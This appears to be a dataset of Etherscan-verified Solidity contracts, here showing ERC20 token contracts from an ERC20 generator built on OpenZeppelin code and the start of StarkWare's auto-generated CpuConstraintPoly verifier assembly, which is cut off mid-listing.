* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-08
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") {
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-11
*/
/*
Copyright 2019-2022 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// ---------- The following code was auto-generated. PLEASE DO NOT EDIT. ----------
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
contract CpuConstraintPoly {
// The Memory map during the execution of this contract is as follows:
// [0x0, 0x20) - periodic_column/pedersen/points/x.
// [0x20, 0x40) - periodic_column/pedersen/points/y.
// [0x40, 0x60) - periodic_column/ecdsa/generator_points/x.
// [0x60, 0x80) - periodic_column/ecdsa/generator_points/y.
// [0x80, 0xa0) - trace_length.
// [0xa0, 0xc0) - offset_size.
// [0xc0, 0xe0) - half_offset_size.
// [0xe0, 0x100) - initial_ap.
// [0x100, 0x120) - initial_pc.
// [0x120, 0x140) - final_ap.
// [0x140, 0x160) - final_pc.
// [0x160, 0x180) - memory/multi_column_perm/perm/interaction_elm.
// [0x180, 0x1a0) - memory/multi_column_perm/hash_interaction_elm0.
// [0x1a0, 0x1c0) - memory/multi_column_perm/perm/public_memory_prod.
// [0x1c0, 0x1e0) - rc16/perm/interaction_elm.
// [0x1e0, 0x200) - rc16/perm/public_memory_prod.
// [0x200, 0x220) - rc_min.
// [0x220, 0x240) - rc_max.
// [0x240, 0x260) - diluted_check/permutation/interaction_elm.
// [0x260, 0x280) - diluted_check/permutation/public_memory_prod.
// [0x280, 0x2a0) - diluted_check/first_elm.
// [0x2a0, 0x2c0) - diluted_check/interaction_z.
// [0x2c0, 0x2e0) - diluted_check/interaction_alpha.
// [0x2e0, 0x300) - diluted_check/final_cum_val.
// [0x300, 0x320) - pedersen/shift_point.x.
// [0x320, 0x340) - pedersen/shift_point.y.
// [0x340, 0x360) - initial_pedersen_addr.
// [0x360, 0x380) - initial_rc_addr.
// [0x380, 0x3a0) - ecdsa/sig_config.alpha.
// [0x3a0, 0x3c0) - ecdsa/sig_config.shift_point.x.
// [0x3c0, 0x3e0) - ecdsa/sig_config.shift_point.y.
// [0x3e0, 0x400) - ecdsa/sig_config.beta.
// [0x400, 0x420) - initial_ecdsa_addr.
// [0x420, 0x440) - initial_bitwise_addr.
// [0x440, 0x460) - trace_generator.
// [0x460, 0x480) - oods_point.
// [0x480, 0x540) - interaction_elements.
// [0x540, 0x1600) - coefficients.
// [0x1600, 0x2bc0) - oods_values.
// ----------------------- end of input data - -------------------------
// [0x2bc0, 0x2be0) - intermediate_value/cpu/decode/opcode_rc/bit_0.
// [0x2be0, 0x2c00) - intermediate_value/cpu/decode/opcode_rc/bit_2.
// [0x2c00, 0x2c20) - intermediate_value/cpu/decode/opcode_rc/bit_4.
// [0x2c20, 0x2c40) - intermediate_value/cpu/decode/opcode_rc/bit_3.
// [0x2c40, 0x2c60) - intermediate_value/cpu/decode/flag_op1_base_op0_0.
// [0x2c60, 0x2c80) - intermediate_value/cpu/decode/opcode_rc/bit_5.
// [0x2c80, 0x2ca0) - intermediate_value/cpu/decode/opcode_rc/bit_6.
// [0x2ca0, 0x2cc0) - intermediate_value/cpu/decode/opcode_rc/bit_9.
// [0x2cc0, 0x2ce0) - intermediate_value/cpu/decode/flag_res_op1_0.
// [0x2ce0, 0x2d00) - intermediate_value/cpu/decode/opcode_rc/bit_7.
// [0x2d00, 0x2d20) - intermediate_value/cpu/decode/opcode_rc/bit_8.
// [0x2d20, 0x2d40) - intermediate_value/cpu/decode/flag_pc_update_regular_0.
// [0x2d40, 0x2d60) - intermediate_value/cpu/decode/opcode_rc/bit_12.
// [0x2d60, 0x2d80) - intermediate_value/cpu/decode/opcode_rc/bit_13.
// [0x2d80, 0x2da0) - intermediate_value/cpu/decode/fp_update_regular_0.
// [0x2da0, 0x2dc0) - intermediate_value/cpu/decode/opcode_rc/bit_1.
// [0x2dc0, 0x2de0) - intermediate_value/npc_reg_0.
// [0x2de0, 0x2e00) - intermediate_value/cpu/decode/opcode_rc/bit_10.
// [0x2e00, 0x2e20) - intermediate_value/cpu/decode/opcode_rc/bit_11.
// [0x2e20, 0x2e40) - intermediate_value/cpu/decode/opcode_rc/bit_14.
// [0x2e40, 0x2e60) - intermediate_value/memory/address_diff_0.
// [0x2e60, 0x2e80) - intermediate_value/rc16/diff_0.
// [0x2e80, 0x2ea0) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_0.
// [0x2ea0, 0x2ec0) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0.
// [0x2ec0, 0x2ee0) - intermediate_value/rc_builtin/value0_0.
// [0x2ee0, 0x2f00) - intermediate_value/rc_builtin/value1_0.
// [0x2f00, 0x2f20) - intermediate_value/rc_builtin/value2_0.
// [0x2f20, 0x2f40) - intermediate_value/rc_builtin/value3_0.
// [0x2f40, 0x2f60) - intermediate_value/rc_builtin/value4_0.
// [0x2f60, 0x2f80) - intermediate_value/rc_builtin/value5_0.
// [0x2f80, 0x2fa0) - intermediate_value/rc_builtin/value6_0.
// [0x2fa0, 0x2fc0) - intermediate_value/rc_builtin/value7_0.
// [0x2fc0, 0x2fe0) - intermediate_value/ecdsa/signature0/doubling_key/x_squared.
// [0x2fe0, 0x3000) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0.
// [0x3000, 0x3020) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0.
// [0x3020, 0x3040) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_0.
// [0x3040, 0x3060) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0.
// [0x3060, 0x3080) - intermediate_value/bitwise/sum_var_0_0.
// [0x3080, 0x30a0) - intermediate_value/bitwise/sum_var_8_0.
// [0x30a0, 0x35a0) - expmods.
// [0x35a0, 0x38c0) - denominator_invs.
// [0x38c0, 0x3be0) - denominators.
// [0x3be0, 0x3d80) - numerators.
// [0x3d80, 0x3e40) - expmod_context.
fallback() external {
uint256 res;
assembly {
let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001
// Copy input from calldata to memory.
calldatacopy(0x0, 0x0, /*Input data size*/ 0x2bc0)
let point := /*oods_point*/ mload(0x460)
function expmod(base, exponent, modulus) -> result {
let p := /*expmod_context*/ 0x3d80
mstore(p, 0x20) // Length of Base.
mstore(add(p, 0x20), 0x20) // Length of Exponent.
mstore(add(p, 0x40), 0x20) // Length of Modulus.
mstore(add(p, 0x60), base) // Base.
mstore(add(p, 0x80), exponent) // Exponent.
mstore(add(p, 0xa0), modulus) // Modulus.
// Call modexp precompile.
if iszero(staticcall(not(0), 0x05, p, 0xc0, p, 0x20)) {
revert(0, 0)
}
result := mload(p)
}
{
// Prepare expmods for denominators and numerators.
// expmods[0] = point^trace_length.
mstore(0x30a0, expmod(point, /*trace_length*/ mload(0x80), PRIME))
// expmods[1] = point^(trace_length / 16).
mstore(0x30c0, expmod(point, div(/*trace_length*/ mload(0x80), 16), PRIME))
// expmods[2] = point^(trace_length / 2).
mstore(0x30e0, expmod(point, div(/*trace_length*/ mload(0x80), 2), PRIME))
// expmods[3] = point^(trace_length / 4).
mstore(0x3100, expmod(point, div(/*trace_length*/ mload(0x80), 4), PRIME))
// expmods[4] = point^(trace_length / 2048).
mstore(0x3120, expmod(point, div(/*trace_length*/ mload(0x80), 2048), PRIME))
// expmods[5] = point^(trace_length / 8).
mstore(0x3140, expmod(point, div(/*trace_length*/ mload(0x80), 8), PRIME))
// expmods[6] = point^(trace_length / 4096).
mstore(0x3160, expmod(point, div(/*trace_length*/ mload(0x80), 4096), PRIME))
// expmods[7] = point^(trace_length / 128).
mstore(0x3180, expmod(point, div(/*trace_length*/ mload(0x80), 128), PRIME))
// expmods[8] = point^(trace_length / 32).
mstore(0x31a0, expmod(point, div(/*trace_length*/ mload(0x80), 32), PRIME))
// expmods[9] = point^(trace_length / 8192).
mstore(0x31c0, expmod(point, div(/*trace_length*/ mload(0x80), 8192), PRIME))
// expmods[10] = point^(trace_length / 64).
mstore(0x31e0, expmod(point, div(/*trace_length*/ mload(0x80), 64), PRIME))
// expmods[11] = point^(trace_length / 16384).
mstore(0x3200, expmod(point, div(/*trace_length*/ mload(0x80), 16384), PRIME))
// expmods[12] = trace_generator^(15 * trace_length / 16).
mstore(0x3220, expmod(/*trace_generator*/ mload(0x440), div(mul(15, /*trace_length*/ mload(0x80)), 16), PRIME))
// expmods[13] = trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x3240, expmod(/*trace_generator*/ mload(0x440), mul(16, sub(div(/*trace_length*/ mload(0x80), 16), 1)), PRIME))
// expmods[14] = trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x3260, expmod(/*trace_generator*/ mload(0x440), mul(2, sub(div(/*trace_length*/ mload(0x80), 2), 1)), PRIME))
// expmods[15] = trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x3280, expmod(/*trace_generator*/ mload(0x440), mul(4, sub(div(/*trace_length*/ mload(0x80), 4), 1)), PRIME))
// expmods[16] = trace_generator^(trace_length - 1).
mstore(0x32a0, expmod(/*trace_generator*/ mload(0x440), sub(/*trace_length*/ mload(0x80), 1), PRIME))
// expmods[17] = trace_generator^(255 * trace_length / 256).
mstore(0x32c0, expmod(/*trace_generator*/ mload(0x440), div(mul(255, /*trace_length*/ mload(0x80)), 256), PRIME))
// expmods[18] = trace_generator^(63 * trace_length / 64).
mstore(0x32e0, expmod(/*trace_generator*/ mload(0x440), div(mul(63, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[19] = trace_generator^(trace_length / 2).
mstore(0x3300, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 2), PRIME))
// expmods[20] = trace_generator^(4096 * (trace_length / 4096 - 1)).
mstore(0x3320, expmod(/*trace_generator*/ mload(0x440), mul(4096, sub(div(/*trace_length*/ mload(0x80), 4096), 1)), PRIME))
// expmods[21] = trace_generator^(128 * (trace_length / 128 - 1)).
mstore(0x3340, expmod(/*trace_generator*/ mload(0x440), mul(128, sub(div(/*trace_length*/ mload(0x80), 128), 1)), PRIME))
// expmods[22] = trace_generator^(251 * trace_length / 256).
mstore(0x3360, expmod(/*trace_generator*/ mload(0x440), div(mul(251, /*trace_length*/ mload(0x80)), 256), PRIME))
// expmods[23] = trace_generator^(16384 * (trace_length / 16384 - 1)).
mstore(0x3380, expmod(/*trace_generator*/ mload(0x440), mul(16384, sub(div(/*trace_length*/ mload(0x80), 16384), 1)), PRIME))
// expmods[24] = trace_generator^(3 * trace_length / 4).
mstore(0x33a0, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 4), PRIME))
// expmods[25] = trace_generator^(trace_length / 64).
mstore(0x33c0, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 64), PRIME))
// expmods[26] = trace_generator^(trace_length / 32).
mstore(0x33e0, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 32), PRIME))
// expmods[27] = trace_generator^(3 * trace_length / 64).
mstore(0x3400, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[28] = trace_generator^(trace_length / 16).
mstore(0x3420, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 16), PRIME))
// expmods[29] = trace_generator^(5 * trace_length / 64).
mstore(0x3440, expmod(/*trace_generator*/ mload(0x440), div(mul(5, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[30] = trace_generator^(3 * trace_length / 32).
mstore(0x3460, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 32), PRIME))
// expmods[31] = trace_generator^(7 * trace_length / 64).
mstore(0x3480, expmod(/*trace_generator*/ mload(0x440), div(mul(7, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[32] = trace_generator^(trace_length / 8).
mstore(0x34a0, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 8), PRIME))
// expmods[33] = trace_generator^(9 * trace_length / 64).
mstore(0x34c0, expmod(/*trace_generator*/ mload(0x440), div(mul(9, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[34] = trace_generator^(5 * trace_length / 32).
mstore(0x34e0, expmod(/*trace_generator*/ mload(0x440), div(mul(5, /*trace_length*/ mload(0x80)), 32), PRIME))
// expmods[35] = trace_generator^(11 * trace_length / 64).
mstore(0x3500, expmod(/*trace_generator*/ mload(0x440), div(mul(11, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[36] = trace_generator^(3 * trace_length / 16).
